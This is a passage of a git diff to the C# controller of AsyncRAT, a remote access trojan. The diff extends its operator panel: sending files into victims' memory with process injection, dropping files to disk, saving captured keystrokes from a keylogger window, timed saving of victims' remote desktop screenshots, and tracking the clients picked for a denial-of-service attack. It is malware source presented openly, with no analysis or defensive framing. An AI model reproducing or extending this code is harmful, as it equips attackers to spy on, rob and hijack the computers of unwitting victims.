+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ }
+ }
+ catch { }
+ }
+ }
+
+ private void STOPToolStripMenuItem1_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "reportWindow";
+ msgpack.ForcePathObject("Option").AsString = "stop";
+ foreach (ListViewItem itm in listView1.SelectedItems)
+ {
+ Clients client = (Clients)itm.Tag;
+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ }
+ catch { }
+ }
+ }
+
+ private void ListView1_ColumnClick(object sender, ColumnClickEventArgs e)
+ {
+ if (e.Column == lvwColumnSorter.SortColumn)
+ {
+ if (lvwColumnSorter.Order == SortOrder.Ascending)
+ {
+ lvwColumnSorter.Order = SortOrder.Descending;
+ }
+ else
+ {
+ lvwColumnSorter.Order = SortOrder.Ascending;
+ }
+ }
+ else
+ {
+ lvwColumnSorter.SortColumn = e.Column;
+ lvwColumnSorter.Order = SortOrder.Ascending;
+ }
+
+ this.listView1.Sort();
+ }
+
+ private void TOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ FormSendFileToMemory formSend = new FormSendFileToMemory();
+ formSend.ShowDialog();
+ if (formSend.isOK)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "sendMemory";
+ msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
+ if (formSend.comboBox1.SelectedIndex == 0)
+ {
+ msgpack.ForcePathObject("Inject").AsString = "";
+ msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]);
+ }
+ else
+ {
+ msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text;
+ msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin);
+ }
+
+ foreach (ListViewItem itm in listView1.SelectedItems)
+ {
+ Clients client = (Clients)itm.Tag;
+ client.LV.ForeColor = Color.Red;
+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ }
+ formSend.Close();
+ formSend.Dispose();
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+ }
+
+ private async void TODISKToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (listView1.SelectedItems.Count > 0)
+ {
+ try
+ {
+ OpenFileDialog openFileDialog = new OpenFileDialog();
+ openFileDialog.Multiselect = true;
+ if (openFileDialog.ShowDialog() == DialogResult.OK)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "sendFile";
+ msgpack.ForcePathObject("Update").AsString = "false";
+ foreach (ListViewItem itm in listView1.SelectedItems)
+ {
+ Clients client = (Clients)itm.Tag;
+ client.LV.ForeColor = Color.Red;
+ foreach (string file in openFileDialog.FileNames)
+ {
+ await msgpack.ForcePathObject("File").LoadFileAsBytes(file);
+ msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(file);
+ ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+ }
+ }
+ }
+ }
+ catch (Exception ex)
+ {
+ MessageBox.Show(ex.Message);
+ return;
+ }
+ }
+ }
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs
index df922a2..da49989 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs
@@ -41,9 +41,14 @@ namespace AsyncRAT_Sharp.Forms
{
string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin");
if (string.IsNullOrEmpty(nick))
- return;
+ this.Close();
else
+ {
Nickname = nick;
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "chat";
+ ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
+ }
}
private void FormChat_FormClosed(object sender, FormClosedEventArgs e)
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs
index baaf569..24ff0ee 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs
@@ -17,9 +17,10 @@ namespace AsyncRAT_Sharp.Forms
{
public partial class FormDOS : Form
{
- private TimeSpan timespan;
- private Stopwatch stopwatch;
+ private TimeSpan timespan;
+ private Stopwatch stopwatch;
private string status = "is online";
+ private List selectedClients = new List();
public FormDOS()
{
InitializeComponent();
@@ -58,6 +59,7 @@ namespace AsyncRAT_Sharp.Forms
foreach (ListViewItem itm in Program.form1.listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;
+ selectedClients.Add(client);
client.LV.ForeColor = Color.Green;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
@@ -88,12 +90,13 @@ namespace AsyncRAT_Sharp.Forms
}
else
{
- foreach (ListViewItem itm in Program.form1.listView1.SelectedItems)
+ foreach (Clients client in selectedClients.ToList())
{
- Clients client = (Clients)itm.Tag;
client.LV.ForeColor = Color.Empty;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
+ selectedClients.Clear();
+ selectedClients = new List();
}
btnAttack.Enabled = true;
btnStop.Enabled = false;
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs
index 7d124ff..017fe4e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs
@@ -30,45 +30,99 @@
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormKeylogger));
- this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
+ this.toolStrip1 = new System.Windows.Forms.ToolStrip();
+ this.toolStripLabel1 = new System.Windows.Forms.ToolStripLabel();
+ this.toolStripTextBox1 = new System.Windows.Forms.ToolStripTextBox();
+ this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
+ this.toolStripButton1 = new System.Windows.Forms.ToolStripButton();
+ this.richTextBox1 = new System.Windows.Forms.RichTextBox();
+ this.toolStrip1.SuspendLayout();
this.SuspendLayout();
//
- // richTextBox1
- //
- this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
- this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
- this.richTextBox1.Font = new System.Drawing.Font("Tahoma", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.richTextBox1.Location = new System.Drawing.Point(0, 0);
- this.richTextBox1.Name = "richTextBox1";
- this.richTextBox1.ReadOnly = true;
- this.richTextBox1.ShortcutsEnabled = false;
- this.richTextBox1.Size = new System.Drawing.Size(731, 410);
- this.richTextBox1.TabIndex = 0;
- this.richTextBox1.Text = "";
- //
// timer1
//
this.timer1.Enabled = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
//
+ // toolStrip1
+ //
+ this.toolStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
+ this.toolStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.toolStripLabel1,
+ this.toolStripTextBox1,
+ this.toolStripSeparator1,
+ this.toolStripButton1});
+ this.toolStrip1.Location = new System.Drawing.Point(0, 0);
+ this.toolStrip1.Name = "toolStrip1";
+ this.toolStrip1.Size = new System.Drawing.Size(731, 32);
+ this.toolStrip1.TabIndex = 0;
+ this.toolStrip1.Text = "toolStrip1";
+ //
+ // toolStripLabel1
+ //
+ this.toolStripLabel1.Name = "toolStripLabel1";
+ this.toolStripLabel1.Size = new System.Drawing.Size(64, 29);
+ this.toolStripLabel1.Text = "Search";
+ //
+ // toolStripTextBox1
+ //
+ this.toolStripTextBox1.Name = "toolStripTextBox1";
+ this.toolStripTextBox1.Size = new System.Drawing.Size(100, 32);
+ this.toolStripTextBox1.Text = "...";
+ this.toolStripTextBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.ToolStripTextBox1_KeyDown);
+ //
+ // toolStripSeparator1
+ //
+ this.toolStripSeparator1.Name = "toolStripSeparator1";
+ this.toolStripSeparator1.Size = new System.Drawing.Size(6, 32);
+ //
+ // toolStripButton1
+ //
+ this.toolStripButton1.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text;
+ this.toolStripButton1.Image = ((System.Drawing.Image)(resources.GetObject("toolStripButton1.Image")));
+ this.toolStripButton1.ImageTransparentColor = System.Drawing.Color.Magenta;
+ this.toolStripButton1.Name = "toolStripButton1";
+ this.toolStripButton1.Size = new System.Drawing.Size(53, 29);
+ this.toolStripButton1.Text = "Save";
+ this.toolStripButton1.Click += new System.EventHandler(this.ToolStripButton1_Click);
+ //
+ // richTextBox1
+ //
+ this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
+ this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.richTextBox1.Location = new System.Drawing.Point(0, 32);
+ this.richTextBox1.Name = "richTextBox1";
+ this.richTextBox1.Size = new System.Drawing.Size(731, 378);
+ this.richTextBox1.TabIndex = 1;
+ this.richTextBox1.Text = "";
+ //
// FormKeylogger
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(731, 410);
this.Controls.Add(this.richTextBox1);
+ this.Controls.Add(this.toolStrip1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "FormKeylogger";
this.Text = "Keylogger";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Keylogger_FormClosed);
+ this.toolStrip1.ResumeLayout(false);
+ this.toolStrip1.PerformLayout();
this.ResumeLayout(false);
+ this.PerformLayout();
}
#endregion
private System.Windows.Forms.Timer timer1;
+ private System.Windows.Forms.ToolStrip toolStrip1;
+ private System.Windows.Forms.ToolStripLabel toolStripLabel1;
+ private System.Windows.Forms.ToolStripTextBox toolStripTextBox1;
+ private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
+ private System.Windows.Forms.ToolStripButton toolStripButton1;
public System.Windows.Forms.RichTextBox richTextBox1;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs
index 619d424..ed228ae 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs
@@ -5,6 +5,7 @@ using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
+using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
@@ -22,7 +23,6 @@ namespace AsyncRAT_Sharp.Forms
public Form1 F { get; set; }
internal Clients C { get; set; }
-
private void Timer1_Tick(object sender, EventArgs e)
{
if (!C.ClientSocket.Connected) this.Close();
@@ -35,5 +35,41 @@ namespace AsyncRAT_Sharp.Forms
msgpack.ForcePathObject("isON").AsString = "false";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
}
+
+ private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
+ {
+ richTextBox1.SelectionStart = 0;
+ richTextBox1.SelectAll();
+ richTextBox1.SelectionBackColor = Color.White;
+ if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(toolStripTextBox1.Text))
+ {
+ int startindex = 0;
+ while (startindex < richTextBox1.TextLength)
+ {
+ int wordstartIndex = richTextBox1.Find(toolStripTextBox1.Text, startindex, RichTextBoxFinds.None);
+ if (wordstartIndex != -1)
+ {
+ richTextBox1.SelectionStart = wordstartIndex;
+ richTextBox1.SelectionLength = toolStripTextBox1.Text.Length;
+ richTextBox1.SelectionBackColor = Color.Yellow;
+ }
+ else
+ break;
+ startindex += wordstartIndex + toolStripTextBox1.Text.Length;
+ }
+ }
+ }
+
+ private void ToolStripButton1_Click(object sender, EventArgs e)
+ {
+ try
+ {
+ string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\Keylogger");
+ if (!Directory.Exists(fullPath))
+ Directory.CreateDirectory(fullPath);
+ File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text);
+ }
+ catch { }
+ }
}
-}
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx
index e9b4dee..5d956b0 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx
@@ -120,7 +120,25 @@
17, 17
+
+ 131, 17
+
+
+
+ iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
+ YQUAAAAJcEhZcwAAFiUAABYlAUlSJPAAAAIDSURBVDhPpZLrS5NhGMb3j4SWh0oRQVExD4gonkDpg4hG
+ YKxG6WBogkMZKgPNCEVJFBGdGETEvgwyO9DJE5syZw3PIlPEE9pgBCLZ5XvdMB8Ew8gXbl54nuf63dd9
+ 0OGSnwCahxbPRNPAPMw9Xpg6ZmF46kZZ0xSKzJPIrhpDWsVnpBhGkKx3nAX8Pv7z1zg8OoY/cITdn4fw
+ bf/C0kYAN3Ma/w3gWfZL5kzTKBxjWyK2DftwI9tyMYCZKXbNHaD91bLYJrDXsYbrWfUKwJrPE9M2M1Oc
+ VzOOpHI7Jr376Hi9ogHqFIANO0/MmmmbmSmm9a8ze+I4MrNWAdjtoJgWcx+PSzg166yZZ8xM8XvXDix9
+ c4jIqFYAjoriBV9AhEPv1mH/sonogha0afbZMMZz+yreTGyhpusHwtNNCsA5U1zS4BLxzJIfg299qO32
+ Ir7UJtZfftyATqeT+8o2D8JSjQrAJblrncYL7ZJ2+bfaFnC/1S1NjL3diRat7qrO7wLRP3HjWsojBeCo
+ mDEo5mNjuweFGvjWg2EBhCbpkW78htSHHwRyNdmgAFzPEee2iFkzayy2OLXzT4gr6UdUnlXrullsxxQ+
+ kx0g8BTA3aZlButjSTyjODq/WcQcW/B/Je4OQhLvKQDnzN1mp0nnkvAhR8VuMzNrpm1mpjgkoVwB/v8D
+ TgDQASA1MVpwzwAAAABJRU5ErkJggg==
+
+
AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs
index 3f01a91..d1ef01f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs
@@ -33,25 +33,26 @@
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel();
+ this.btnSave = new System.Windows.Forms.Button();
+ this.label2 = new System.Windows.Forms.Label();
+ this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.label1 = new System.Windows.Forms.Label();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
- this.label2 = new System.Windows.Forms.Label();
- this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
+ this.timerSave = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.panel1.SuspendLayout();
- ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
+ ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
this.SuspendLayout();
//
// pictureBox1
//
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
- this.pictureBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.pictureBox1.Name = "pictureBox1";
- this.pictureBox1.Size = new System.Drawing.Size(473, 266);
+ this.pictureBox1.Size = new System.Drawing.Size(710, 409);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
@@ -64,6 +65,7 @@
// panel1
//
this.panel1.BackColor = System.Drawing.Color.Transparent;
+ this.panel1.Controls.Add(this.btnSave);
this.panel1.Controls.Add(this.label2);
this.panel1.Controls.Add(this.numericUpDown2);
this.panel1.Controls.Add(this.label1);
@@ -71,80 +73,26 @@
this.panel1.Controls.Add(this.button1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(0, 0);
- this.panel1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.panel1.Name = "panel1";
- this.panel1.Size = new System.Drawing.Size(473, 25);
+ this.panel1.Size = new System.Drawing.Size(710, 38);
this.panel1.TabIndex = 1;
//
- // label1
+ // btnSave
//
- this.label1.AutoSize = true;
- this.label1.Location = new System.Drawing.Point(87, 6);
- this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
- this.label1.Name = "label1";
- this.label1.Size = new System.Drawing.Size(53, 13);
- this.label1.TabIndex = 2;
- this.label1.Text = "QUALITY";
- //
- // numericUpDown1
- //
- this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.numericUpDown1.Enabled = false;
- this.numericUpDown1.Increment = new decimal(new int[] {
- 10,
- 0,
- 0,
- 0});
- this.numericUpDown1.Location = new System.Drawing.Point(143, 3);
- this.numericUpDown1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
- this.numericUpDown1.Minimum = new decimal(new int[] {
- 20,
- 0,
- 0,
- 0});
- this.numericUpDown1.Name = "numericUpDown1";
- this.numericUpDown1.Size = new System.Drawing.Size(55, 20);
- this.numericUpDown1.TabIndex = 1;
- this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
- this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
- this.numericUpDown1.Value = new decimal(new int[] {
- 60,
- 0,
- 0,
- 0});
- //
- // button1
- //
- this.button1.Location = new System.Drawing.Point(4, 3);
- this.button1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
- this.button1.Name = "button1";
- this.button1.Size = new System.Drawing.Size(71, 19);
- this.button1.TabIndex = 0;
- this.button1.Text = "STOP";
- this.button1.UseVisualStyleBackColor = true;
- this.button1.Click += new System.EventHandler(this.Button1_Click);
- //
- // button2
- //
- this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up;
- this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
- this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
- this.button2.Location = new System.Drawing.Point(203, 29);
- this.button2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
- this.button2.Name = "button2";
- this.button2.Size = new System.Drawing.Size(12, 12);
- this.button2.TabIndex = 2;
- this.button2.Text = " ";
- this.button2.UseVisualStyleBackColor = true;
- this.button2.Click += new System.EventHandler(this.Button2_Click);
+ this.btnSave.Location = new System.Drawing.Point(482, 3);
+ this.btnSave.Name = "btnSave";
+ this.btnSave.Size = new System.Drawing.Size(152, 29);
+ this.btnSave.TabIndex = 5;
+ this.btnSave.Text = "START SAVE";
+ this.btnSave.UseVisualStyleBackColor = true;
+ this.btnSave.Click += new System.EventHandler(this.BtnSave_Click);
//
// label2
//
this.label2.AutoSize = true;
- this.label2.Location = new System.Drawing.Point(200, 6);
- this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
+ this.label2.Location = new System.Drawing.Point(300, 9);
this.label2.Name = "label2";
- this.label2.Size = new System.Drawing.Size(51, 13);
+ this.label2.Size = new System.Drawing.Size(76, 20);
this.label2.TabIndex = 4;
this.label2.Text = "SCREEN";
//
@@ -157,30 +105,91 @@
0,
0,
0});
- this.numericUpDown2.Location = new System.Drawing.Point(256, 3);
- this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
+ this.numericUpDown2.Location = new System.Drawing.Point(384, 5);
this.numericUpDown2.Maximum = new decimal(new int[] {
0,
0,
0,
0});
this.numericUpDown2.Name = "numericUpDown2";
- this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
+ this.numericUpDown2.Size = new System.Drawing.Size(63, 26);
this.numericUpDown2.TabIndex = 3;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
//
+ // label1
+ //
+ this.label1.AutoSize = true;
+ this.label1.Location = new System.Drawing.Point(130, 9);
+ this.label1.Name = "label1";
+ this.label1.Size = new System.Drawing.Size(78, 20);
+ this.label1.TabIndex = 2;
+ this.label1.Text = "QUALITY";
+ //
+ // numericUpDown1
+ //
+ this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
+ this.numericUpDown1.Enabled = false;
+ this.numericUpDown1.Increment = new decimal(new int[] {
+ 10,
+ 0,
+ 0,
+ 0});
+ this.numericUpDown1.Location = new System.Drawing.Point(214, 5);
+ this.numericUpDown1.Minimum = new decimal(new int[] {
+ 20,
+ 0,
+ 0,
+ 0});
+ this.numericUpDown1.Name = "numericUpDown1";
+ this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
+ this.numericUpDown1.TabIndex = 1;
+ this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
+ this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
+ this.numericUpDown1.Value = new decimal(new int[] {
+ 60,
+ 0,
+ 0,
+ 0});
+ //
+ // button1
+ //
+ this.button1.Location = new System.Drawing.Point(6, 5);
+ this.button1.Name = "button1";
+ this.button1.Size = new System.Drawing.Size(106, 29);
+ this.button1.TabIndex = 0;
+ this.button1.Text = "STOP";
+ this.button1.UseVisualStyleBackColor = true;
+ this.button1.Click += new System.EventHandler(this.Button1_Click);
+ //
+ // button2
+ //
+ this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up;
+ this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
+ this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
+ this.button2.Location = new System.Drawing.Point(304, 45);
+ this.button2.Name = "button2";
+ this.button2.Size = new System.Drawing.Size(18, 18);
+ this.button2.TabIndex = 2;
+ this.button2.Text = " ";
+ this.button2.UseVisualStyleBackColor = true;
+ this.button2.Click += new System.EventHandler(this.Button2_Click);
+ //
+ // timerSave
+ //
+ this.timerSave.Interval = 1500;
+ this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick);
+ //
// FormRemoteDesktop
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+ this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.ClientSize = new System.Drawing.Size(473, 266);
+ this.ClientSize = new System.Drawing.Size(710, 409);
this.Controls.Add(this.button2);
this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
- this.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
- this.MinimumSize = new System.Drawing.Size(444, 305);
+ this.MinimumSize = new System.Drawing.Size(655, 440);
this.Name = "FormRemoteDesktop";
this.Text = "RemoteDesktop";
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
@@ -188,8 +197,8 @@
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
- ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
+ ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
this.ResumeLayout(false);
}
@@ -205,5 +214,7 @@
public System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.Label label2;
public System.Windows.Forms.NumericUpDown numericUpDown2;
+ private System.Windows.Forms.Button btnSave;
+ private System.Windows.Forms.Timer timerSave;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
index ec27ae3..467fe71 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
@@ -13,6 +13,9 @@ using System.Windows.Forms;
using AsyncRAT_Sharp.Sockets;
using AsyncRAT_Sharp.MessagePack;
using System.Threading;
+using System.Drawing.Imaging;
+using System.IO;
+using Encoder = System.Drawing.Imaging.Encoder;
namespace AsyncRAT_Sharp.Forms
{
@@ -92,22 +95,51 @@ namespace AsyncRAT_Sharp.Forms
{
button2.Left = pictureBox1.Width / 2;
}
- //private void RemoteDesktop_Activated(object sender, EventArgs e)
- //{
- // //if (Active == false)
- // //{
- // // Active = true;
- // // MsgPack msgpack = new MsgPack();
- // // msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
- // // msgpack.ForcePathObject("Option").AsString = "true";
- // // ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
- // // decoder = new UnsafeStreamCodec(60);
- // //}
- //}
- //private void RemoteDesktop_Deactivate(object sender, EventArgs e)
- //{
- // // if (Active == true) Active = false;
- //}
+ private void BtnSave_Click(object sender, EventArgs e)
+ {
+ if (timerSave.Enabled)
+ {
+ timerSave.Stop();
+ btnSave.Text = "START SAVE";
+ }
+ else
+ {
+ timerSave.Start();
+ btnSave.Text = "STOP SAVE";
+ }
+ }
+
+ private void TimerSave_Tick(object sender, EventArgs e)
+ {
+ try
+ {
+ string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop");
+ if (!Directory.Exists(fullPath))
+ Directory.CreateDirectory(fullPath);
+ Encoder myEncoder = Encoder.Quality;
+ EncoderParameters myEncoderParameters = new EncoderParameters(1);
+ EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
+ myEncoderParameters.Param[0] = myEncoderParameter;
+ ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
+ pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
+ myEncoderParameters?.Dispose();
+ myEncoderParameter?.Dispose();
+ }
+ catch { }
+ }
+
+ private ImageCodecInfo GetEncoder(ImageFormat format)
+ {
+ ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
+ foreach (ImageCodecInfo codec in codecs)
+ {
+ if (codec.FormatID == format.Guid)
+ {
+ return codec;
+ }
+ }
+ return null;
+ }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx
index e9b4dee..e5b63af 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx
@@ -120,6 +120,9 @@
17, 17
+
+ 131, 17
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs
index 9c3b1a4..a731cd4 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs
@@ -39,6 +39,7 @@
this.button2 = new System.Windows.Forms.Button();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
+ this.button3 = new System.Windows.Forms.Button();
this.groupBox1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.SuspendLayout();
@@ -127,7 +128,7 @@
//
this.button2.Location = new System.Drawing.Point(22, 220);
this.button2.Name = "button2";
- this.button2.Size = new System.Drawing.Size(303, 30);
